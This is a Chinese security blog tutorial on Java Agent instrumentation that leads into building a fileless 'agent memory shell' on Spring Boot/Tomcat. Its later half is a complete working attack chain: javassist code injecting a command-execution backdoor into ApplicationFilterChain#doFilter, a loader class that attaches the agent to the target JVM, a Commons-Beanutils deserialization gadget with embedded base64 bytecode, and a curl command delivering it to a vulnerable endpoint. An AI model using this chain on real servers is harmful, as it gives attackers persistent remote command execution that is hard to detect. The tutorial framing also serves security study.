查看原文
其他

原创 | 浅谈Agent内存马

Sentiment SecIN技术平台 2022-08-31

点击蓝字




关注我们



Java Agent


在JVM中运行中,类是通过classLoader加载.class文件进行生成的。在类加载.class文件生成对应的类对象之前,我们可以通过修改.class文件内容,达到修改类的目的。而在 jdk 1.5之后引入了 java.lang.instrument 包,通过 java.lang.instrument 提供的对字节码进行操作的一系列api,而使用这些api开发出的程序就可以称之为java agent。


agent内存马

agent内存马就是利用上述特性修改特定的类或者方法,从而实现恶意方法的注入。


Java Agent中提供了两种加载方式(方法名相同情况下,拥有Instrumentation inst参数的方法优先级更高):

public static void agentmain(String agentArgs, Instrumentation inst) { ...}
public static void agentmain(String agentArgs) { ...}
public static void premain(String agentArgs, Instrumentation inst) { ...}
public static void premain(String agentArgs) { ...}

premain 在启动时进行加载(jdk1.5之后)
agentmain 在启动后进行加载 (jdk1.6之后)

premain

在main函数之前调用,并且要求mainfest文件中有Premain-Class属性且利用-javaagent加载。


Demo

先看一下具体如果调用该方法:

先写一个实现premain方法的类,返回传入的参数agentArgs、inst


AgentTest.java

import java.lang.instrument.Instrumentation;
public class AgentTest { public static void premain(String agentArgs, Instrumentation inst) throws Exception{ System.out.println(agentArgs); System.out.println(inst); }}

接着创建 mainfest(注:在前边说到过文件中一定要有Premain-Class属性,其次最后要有空行)


agent.mf

Manifest-Version: 1.0Premain-Class: AgentTest


MANIFEST.MF的其他选项:

Premain-Class: 包含 premain 方法的类(类的全路径名)Agent-Class: 包含 agentmain 方法的类(类的全路径名)Boot-Class-Path: 设置引导类加载器搜索的路径列表。查找类的特定于平台的机制失败后,引导类加载器会搜索这些路径。按列出的顺序搜索路径。列表中的路径由一个或多个空格分开。路径使用分层 URI 的路径组件语法。如果该路径以斜杠字符(“/”)开头,则为绝对路径,否则为相对路径。相对路径根据代理 JAR 文件的绝对路径解析。忽略格式不正确的路径和不存在的路径。如果代理是在 VM 启动之后某一时刻启动的,则忽略不表示 JAR 文件的路径。(可选)Can-Redefine-Classes: true表示能重定义此代理所需的类,默认值为 false(可选)Can-Retransform-Classes: true 表示能重转换此代理所需的类,默认值为 false (可选)Can-Set-Native-Method-Prefix: true表示能设置此代理所需的本机方法前缀,默认值为 false(可选)

将AgentTest.java转为字节码文件,之后就是生成需要的jar文件了

javac AgentTest.javajar cvfm agent.jar agent.mf AgentTest.class

前边说到premain是在main函数之前调用的,所以这里再写个带有main的测试类


Hello.java

public class Hello { public static void main(String[] args) { System.out.println("Hello,Sentiment!"); }}


Hello.mf

Manifest-Version: 1.0Main-Class: Hello


同样生成字节码文件或得到jar文件

javac Hello.javajar cvfm hello.jar Hello.mf Hello.class


得到agent.jar 和 hello.jar后,利用-javaagent进行加载。

java -javaagent:agent.jar=Sentiment -jar hello.jar

可以看到先执行了premain方法,之后才执行main输出Hello,Sentiment!

整个流程:启动JVM之后查看是否存在javaagent参数,如果存在的话则会先执行premain方法再执行main

这种有个比较明显的弊端:若目标服务器已启动,则无法预先加载premain。


Instrumentation

在前边说到agent中用到的两种加载方式,第二种就是agentmain,这种方式就有效的解决了上述premain中提到的弊端。


了解agentmain之前需要先了解Instrumentation


Instrumentation也是premain方法的第二个形参的类型。Instrumentation 是 JVMTIAgent的一部分,Java agent通过这个类可以用来监测和协助运行在 JVM 上的程序,甚至能够替换和修改某些类的定义。


在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据


Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码


下面列举几个使用到的该接口中的方法(参考文档):


addTransformer

注册Class 文件转换器,用于改变 Class 二进制流的数据。

  • transformer - 要注册的转换器

  • canRetransform - 参数用于定义是否允许重新转换。

void addTransformer(ClassFileTransformer transformer, boolean canRetransform);void addTransformer(ClassFileTransformer transformer);


removeTransformer

删除转换器

  • transformer - 要删除的转换器

boolean removeTransformer(ClassFileTransformer transformer);


retransformClasses

对已加载的类重新定义,达到对已加载的类进行字节码修改的效果。

  • classes - 要重新转换的类数组;允许使用零长度数组,在这种情况下,此方法不执行任何操作

void retransformClasses(Class<?>... classes) throws UnmodifiableClassException


isModifiableClass

测试类是否可通过重转换或重定义进行修改。

  • theClass - 要检查可修改的类

boolean isModifiableClass(Class<?> theClass)


getAllLoadedClasses

返回 JVM 当前装入的所有类的数组。

@SuppressWarnings("rawtypes")Class[] getAllLoadedClasses();


agentmain

大致了解后接着看agentmain方法

这种方式只需要将premain的mf文件内容换成Agent-Class即可,例(还是需要注意换行):

Manifest-Version: 1.0Can-Redefine-Classes: trueCan-Retransform-Classes: trueAgent-Class: Test

它的加载主要通过两个重要的类VirtualMachineVirtualMachineDescriptor


com.sun.tools.attach中,但我的attach下并没有对应的这两个类,经过寻找发现在lib下有tools.jar,手动导入即可:


VirtualMachine

VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。该类实现了以下几种方法:

public abstract class VirtualMachine { // 获得当前所有的JVM列表 public static List<VirtualMachineDescriptor> list() { ... }
// 根据pid连接到JVM public static VirtualMachine attach(String id) { ... }
// 断开连接 public abstract void detach() {}
// 加载agent,agentmain方法靠的就是这个方法 public void loadAgent(String agent) { ... }
}

  • list:获取所有JVM列表

  • Attach :允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上

  • loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。

  • Detach:断开连接即解除代理


VirtualMachineDescriptor 就不做探究了,其实就是个描述虚拟机的容器类,配合 VirtualMachine 使用的。


ClassFileTransformer

接着看一下ClassFileTransformer接口。

在addTransformer的第一个参数中见到过

void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

ClassFileTransformer中只有一个transform()方法

public interface ClassFileTransformer {.............. byte[] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException;}

先简单理解几个功能即可:

  • 用Instrumentation.addTransformer()添加转换器后,在加载,重新定义或重新转换类时会调用转换器的transform方法。

  • canRetransform设为true后转换器便拥有了重转换能力

  • 没有加载的类,会使用

    ClassLoader.defineClass()定义它;

    已经加载的类,会使用

    ClassLoader.redefineClasses()

    重新定义,并配合

    Instrumentation.retransformClasses进行转换。

了解完后看一下agentmain具体实现:


AgentMain.java

实现agentmain()方法

import java.lang.instrument.Instrumentation;
public class AgentMain { public static void agentmain(String agentArgs, Instrumentation inst) throws Exception{ inst.addTransformer(new Transformer(),true); System.out.println("Hello,Sentiment!"); }}

Transformer.java

AgentMain.java中通过addTransformer注册了转换器,而转换器类型是ClassFileTransformer,所以需要继承它并对其重写

import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;
public class Transformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { System.out.println(className); return classfileBuffer; }}

AgentMain.mf

加上对应的Agent-Class

Manifest-Version: 1.0Can-Redefine-Classes: trueCan-Retransform-Classes: trueAgent-Class: AgentMain

除Agent-Class外,还多了两个参数Can-Redefine-Classes: true是否支持类的重新替换,Can-Retransform-Classes: true是否支持类的重新定义。


在需要修改已经被JVM加载过的类的字节码的时候必须设置,否则会报错,Can-Redefine-Classes参数在ClassFileTransformer前半部分也有提到。


接着就是生成字节码文件

javac AgentMain.javajavac Transformer.java

生成后打包为jar文件

jar cvfm AgentMain.jar AgentMain.mf AgentDemo.java Transformer.class

接着就是测试类

import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class AgentDemo { public static void main(String[] args) throws Exception{ String path = "AgentMain.jar路径"; //获取JVM列表 List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor v:list){ String name=v.displayName(); //System.out.println(name); if (name.contains("AgentDemo")){ // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接 VirtualMachine vm = VirtualMachine.attach(v.id()); System.out.println("id => "+v.id()); // 将AgentMain.jar 发送给虚拟机 vm.loadAgent(path); // 解除代理链接 vm.detach(); } } }}

结果:输出id后,调用了agentmain方法,并输出了加载的类名


基本流程:

先执行main方法输出id —> 通过attach连接后调用loadAgen —> 找到对应的jar后调用agentmain方法 —> 执行完后通过detach解除代理链接

但在JVM 启动时并不会主动加载tools.jar,所以需要我们通过URLClassloader 本地磁盘调用的方式进行加载


先通过classloader获取

VirtualMachine和VirtualMachineDescriptor

URL[] url = {new URL("file:///C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar")};java.net.URLClassLoader classLoader = URLClassLoader.newInstance(url);Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");Class<?> VirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");

接着就跟之前的类似了,由于是通过classloader获取的方法,所以不能直接调用,这里先通过反射获取list()

Method listMethod = VirtualMachine.getDeclaredMethod("list",null);List<Object> list = (java.util.List<Object>) listMethod.invoke(VirtualMachine,null);

获取后剩下部分同理获取想要的方法并调用:

String path = "D:\\java\\Java_Security\\src\\main\\java\\AgentMain.jar";for(int i=0;i<list.size();i++){ Object o = list.get(i); Method displayName = VirtualMachineDescriptor.getDeclaredMethod("displayName",null); String name = (String) displayName.invoke(o,null); //System.out.println(name); if (name.contains("Test")){ Method getId = VirtualMachineDescriptor.getDeclaredMethod("id",null); String id = (java.lang.String) getId.invoke(o,null); System.out.println("id => "+id); Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{String.class}); Object vm = attach.invoke(o,new Object[]{id}); Method loadAgent = VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{String.class}); loadAgent.invoke(vm,new Object[]{path}); Method detach = VirtualMachine.getDeclaredMethod("detach",null); detach.invoke(vm,null); break; }}


最终poc

import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;import java.util.List;
public class Test { public static void main(String[] args) throws Exception{ try{ URL[] url = {new URL("file:///C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar")}; java.net.URLClassLoader classLoader = URLClassLoader.newInstance(url); Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); Class<?> VirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); Method listMethod = VirtualMachine.getDeclaredMethod("list",null); List<Object> list = (java.util.List<Object>) listMethod.invoke(VirtualMachine,null);
System.out.println("------------ Start ------------"); String path = "D:\\java\\Java_Security\\src\\main\\java\\AgentMain.jar"; for(int i=0;i<list.size();i++){ Object o = list.get(i); Method displayName = VirtualMachineDescriptor.getDeclaredMethod("displayName",null); String name = (String) displayName.invoke(o,null); //System.out.println(name); if (name.contains("Test")){ Method getId = VirtualMachineDescriptor.getDeclaredMethod("id",null); String id = (java.lang.String) getId.invoke(o,null); System.out.println("id => "+id); Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{String.class}); Object vm = attach.invoke(o,new Object[]{id}); Method loadAgent = VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{String.class}); loadAgent.invoke(vm,new Object[]{path}); Method detach = VirtualMachine.getDeclaredMethod("detach",null); detach.invoke(vm,null); break; } } } catch (Exception e){ e.printStackTrace(); } }}

成功执行


Agent内存马


前边赘述那么多,其实都是为了内存马做准备,在前边也提到过若目标服务器已启动,则无法预先加载premain,所以这里使用的是agentmain注入内存马。


在使用Springboot环境debug后发现,SpringBoot环境中同tomcat一样,会调用

ApplicationFilterChain#doFilter()方法


而这个方法学过Tomcat Filter内存马的话一定对其有很深的印象,doFilter方法就是实现Filter内存马的关键方法

而这个方法还封装了用户请求的request和response,所以我们就可以尝试使用springboot传入用户请求,并通过response返回请求信息,从而进行注入

public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException { if (Globals.IS_SECURITY_ENABLED) { ServletRequest req = request; ServletResponse res = response;
try {


实验环境

使用反序列化方式进行注入,所以加上一个反序列化入口

package com.example.springtest.controller;
import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.ObjectInputStream;
@Controllerpublic class SpringTest {
@ResponseBody @RequestMapping("/unser") public String unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception { java.io.InputStream inputStream = request.getInputStream(); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); objectInputStream.readObject(); return "Success!"; }
@ResponseBody @RequestMapping("/demo") public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{ return "Hello,Sentiment!"; }}

本次通过cb方法注入

依赖

<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version></dependency><dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version></dependency>


注入实现

  1. 编写 agent.jar 从而实现

    org.apache.catalina.core.ApplicationFilterChain#doFilter

    进行字节码修改

  2. 利用 cc11 的反序列化漏洞将我们的加载代码打进去,然后使其执行来加载我们的 agent.jar

首先还是跟前边一样准备AgentMain和Transformer


AgentMain.java

import java.lang.instrument.Instrumentation;
public class AgentMain { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String agentArgs, Instrumentation ins) { System.out.println("agentmain is running......"); ins.addTransformer(new Transformer(),true); Class[] classes = ins.getAllLoadedClasses(); for (Class clas:classes){ if (clas.getName().equals(ClassName)){ try{ ins.retransformClasses(new Class[]{clas}); } catch (Exception e){ e.printStackTrace(); } } } }}


Transformer.java

利用 insertBefore ,将内容插到前边,从而避免对原有程序造成影响

import javassist.*;
import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;
public class Transformer implements ClassFileTransformer { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
@Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { className = className.replace("/","."); if (className.equals(ClassName)){ //System.out.println(ClassName); ClassPool pool = ClassPool.getDefault(); ClassClassPath classPath = new ClassClassPath(classBeingRedefined); pool.appendClassPath(classPath); try { System.out.println("className:"+className); CtClass c = pool.getCtClass(className); CtMethod m = c.getDeclaredMethod("doFilter"); m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" + "javax.servlet.http.HttpServletResponse res = response;\n" + "java.lang.String cmd = request.getParameter(\"cmd\");\n" + "java.lang.String[] cmds = new java.lang.String[]{\"cmd\",\"/c\",cmd};\n"+ "if (cmd != null){\n" + " try {\n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n" + " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + " String line;\n" + " StringBuilder sb = new StringBuilder(\"\");\n" + " while ((line=reader.readLine()) != null){\n" + " sb.append(line).append(\"\\n\");\n" + " }\n" + " response.getOutputStream().print(sb.toString());\n" + " response.getOutputStream().flush();\n" + " response.getOutputStream().close();\n" + " } catch (Exception e){\n" + " e.printStackTrace();\n" + " }\n" + "}"); byte[] bytes = c.toBytecode(); c.detach(); return bytes; } catch (Exception e){ e.printStackTrace(); } } return new byte[0]; }}


mvn打包

pom.xml中加上:

<build> <plugins> <plugin> <artifactId>maven-assembly-plugin</artifactId> <configuration> <descriptors> <descriptor>src/main/resources/assembly.xml</descriptor> </descriptors> <archive>
</archive> </configuration> </plugin> </plugins></build>


然后resources下面写assembly.xml:

<assembly xmlns="http://maven.apache.org/ASSEMBLY/2.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/ASSEMBLY/2.0.0 http://maven.apache.org/xsd/assembly-2.0.0.xsd">
<id>jar-with-dependencies</id>
<!--指明打包方式--> <formats> <format>jar</format> </formats>
<includeBaseDirectory>false</includeBaseDirectory> <dependencySets> <dependencySet> <outputDirectory>/</outputDirectory> <useProjectArtifact>true</useProjectArtifact> <unpack>true</unpack> <scope>runtime</scope> <!--这里以排除 storm 环境中已经提供的 storm-core 为例,演示排除 Jar 包--> <excludes> <exclude>org.apache.storm:storm-core</exclude> </excludes> </dependencySet> </dependencySets></assembly>

然后mvn clean,mvn assembly:assembly产生AgentMemory-1.0-SNAPSHOT-jar-with-dependencies.jar

接着将jar包中的MF文件内容修改一下(换行):

Manifest-Version: 1.0Can-Redefine-Classes: trueCan-Retransform-Classes: trueAgent-Class: AgentMain

恶意类Evil.java,跟前边一样依然用URLClassloader 进行本地磁盘调用

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;import java.util.List;
public class Evil extends AbstractTranslet { static { try{ java.lang.String path = "C:\\Users\\del'l'\\Desktop\\AgentMemory-1.0-SNAPSHOT-jar-with-dependencies.jar"; URL[] url = {new URL("file:///C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar")}; java.net.URLClassLoader classLoader = URLClassLoader.newInstance(url); Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); Class<?> VirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); Method listMethod = VirtualMachine.getDeclaredMethod("list",null); List<Object> list = (java.util.List<Object>) listMethod.invoke(VirtualMachine,null);
for(int i=0;i<list.size();i++){ Object o = list.get(i); Method displayName = VirtualMachineDescriptor.getDeclaredMethod("displayName",null); String name = (String) displayName.invoke(o,null); System.out.println(name);//根据自己的springboot路径进行修改 if (name.contains("com.example.springtest.SpringTestApplication")){ Method getId = VirtualMachineDescriptor.getDeclaredMethod("id",null); String id = (String) getId.invoke(o,null); System.out.println("id => " + id); Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class}); Object vm = attach.invoke(o,new Object[]{id}); Method loadAgent = VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class}); loadAgent.invoke(vm,new Object[]{path}); Method detach = VirtualMachine.getDeclaredMethod("detach",null); detach.invoke(vm,null); System.out.println("Inject Success!"); break; } } } catch (Exception e){ e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}}


生成恶意类Evil.java的字节码文件

javac Evil.java


将字节码文件进行base64加密后放到CB链中,进行动态字节码加载(这里直接用常规的cb方式改下字节码即可)

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ConstantTransformer;
import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;
public class CB { public static void main(String[] args) throws Exception { //CC3 Templates templates = new TemplatesImpl(); byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAfwoAJQA6CAA7BwA8CAA9CgADAD4KAD8AQAgAQQoAPwBCCABDCABECgAdAEUKAEYARwcASAsADQBJCwANAEoIAEsHAEwJAE0ATgoATwBQCABRCgARAFIIAFMHAFQKABcAOggAVQoAFwBWCgAXAFcIAFgHAFkHAFoIAFsIAFwIAF0HAF4KACIAXwcAYAcAYQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwBiAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcATAcAYwcAZAcAWQcAZQcASAcAXgEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMACYAJwEASkM6XFVzZXJzXGRlbCdsJ1xEZXNrdG9wXEFnZW50TWVtb3J5LTEuMC1TTkFQU0hPVC1qYXItd2l0aC1kZXBlbmRlbmNpZXMuamFyAQAMamF2YS9uZXQvVVJMAQA3ZmlsZTovLy9DOi9Qcm9ncmFtIEZpbGVzL0phdmEvamRrMS44LjBfNjUvbGliL3Rvb2xzLmphcgwAJgBmBwBkDABnAGgBACNjb20uc3VuLnRvb2xzLmF0dGFjaC5WaXJ0dWFsTWFjaGluZQwAaQBqAQAtY29tLnN1bi50b29scy5hdHRhY2guVmlydHVhbE1hY2hpbmVEZXNjcmlwdG9yAQAEbGlzdAwAawBsBwBlDABtAG4BAA5qYXZhL3V0aWwvTGlzdAwAbwBwDABxAHIBAAtkaXNwbGF5TmFtZQEAEGphdmEvbGFuZy9TdHJpbmcHAHMMAHQAdQcAdgwAdwBmAQAsY29tLmV4YW1wbGUuc3ByaW5ndGVzdC5TcHJpbmdUZXN0QXBwbGljYXRpb24MAHgAeQEAAmlkAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAdpZCA+Pj4gDAB6AHsMAHwAfQEABmF0dGFjaAEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBAAlsb2FkQWdlbnQBAAZkZXRhY2gBABtBZ2VudC5qYXIgSW5qZWN0IFN1Y2Nlc3MgISEBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAB+ACcBAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAD1tMamF2YS9uZXQvVVJMOwEAF2phdmEvbmV0L1VSTENsYXNzTG9hZGVyAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQALbmV3SW5zdGFuY2UBACooW0xqYXZhL25ldC9VUkw7KUxqYXZhL25ldC9VUkxDbGFzc0xvYWRlcjsBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEc2l6ZQEAAygpSQEAA2dldAEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAD3ByaW50U3RhY2tUcmFjZQAhACQAJQAAAAAABAABACYAJwABACgAAAAdAAEAAQAAAAUqtwABsQAAAAEAKQAAAAYAAQAAAAwAAQAqACsAAgAoAAAAGQAAAAMAAAABsQAAAAEAKQAAAAYAAQAAADMALAAAAAQAAQAtAAEAKgAuAAIAKAAAABkAAAAEAAAAAbEAAAABACkAAAAGAAEAAAA4ACwAAAAEAAEALQAIAC8AJwABACgAAAHlAAYAEQAAASESAksEvQADWQO7AANZEgS3AAVTTCu4AAZNLBIHtgAITiwSCbYACDoELRIKAbYACzoFGQUtAbYADMAADToGAzYHFQcZBrkADgEAogDPGQYVB7kADwIAOggZBBIQAbYACzoJGQkZCAG2AAzAABE6CrIAEhkKtgATGQoSFLYAFZkAlRkEEhYBtgALOgsZCxkIAbYADMAAEToMsgASuwAXWbcAGBIZtgAaGQy2ABq2ABu2ABMtEhwEvQAdWQMSEVO2AAs6DRkNGQgEvQAeWQMZDFO2AAw6Di0SHwS9AB1ZAxIRU7YACzoPGQ8ZDgS9AB5ZAypTtgAMVy0SIAG2AAs6EBkQGQ4BtgAMV7IAEhIhtgATpwAJhAcBp/8rpwAISyq2ACOxAAEAAAEYARsAIgACACkAAAB2AB0AAAAPAAMAEAAUABEAGQASACAAEwAoABQAMQAVAD0AFwBMABgAVwAZAGEAGgBuABsAdgAdAIAAHgCKAB8AlwAgALEAIQDCACIA1AAjAOUAJAD1ACUA/gAmAQcAJwEPACgBEgAXARgALQEbACsBHAAsASAALgAwAAAALgAF/wBAAAgHADEHADIHADMHADQHADQHADUHADYBAAD7ANH/AAUAAAAAQgcANwQAAQA4AAAAAgA5"); setFieldValue(templates,"_name","Sentiment"); setFieldValue(templates,"_bytecodes",new byte[][]{bytes}); //Commons-Beanutils BeanComparator beanComparator = new BeanComparator("outputProperties");
//CC2

TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2);
setFieldValue(priorityQueue,"comparator",beanComparator);
serialize(priorityQueue); //unserialize("1.ser"); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser")); out.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename)); Object o = In.readObject(); return o; }}


生成1.ser通过SpringBoot环境传入

curl -v "http://localhost:8080/unser" --data-binary "@./1.ser"

传参后提示注入成功:

注入成功


总结


Agent注入方式主要是通过将jar文件传入到目标服务器进行注入攻击,注入后我们就可以将jar文件删除,完成真正的无文件落地攻击。



往期推荐



原创 | 内网渗透一周目小结

原创 | 如何对登录接口加密字段进行暴破?

原创 | 深入浅出SSRF


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存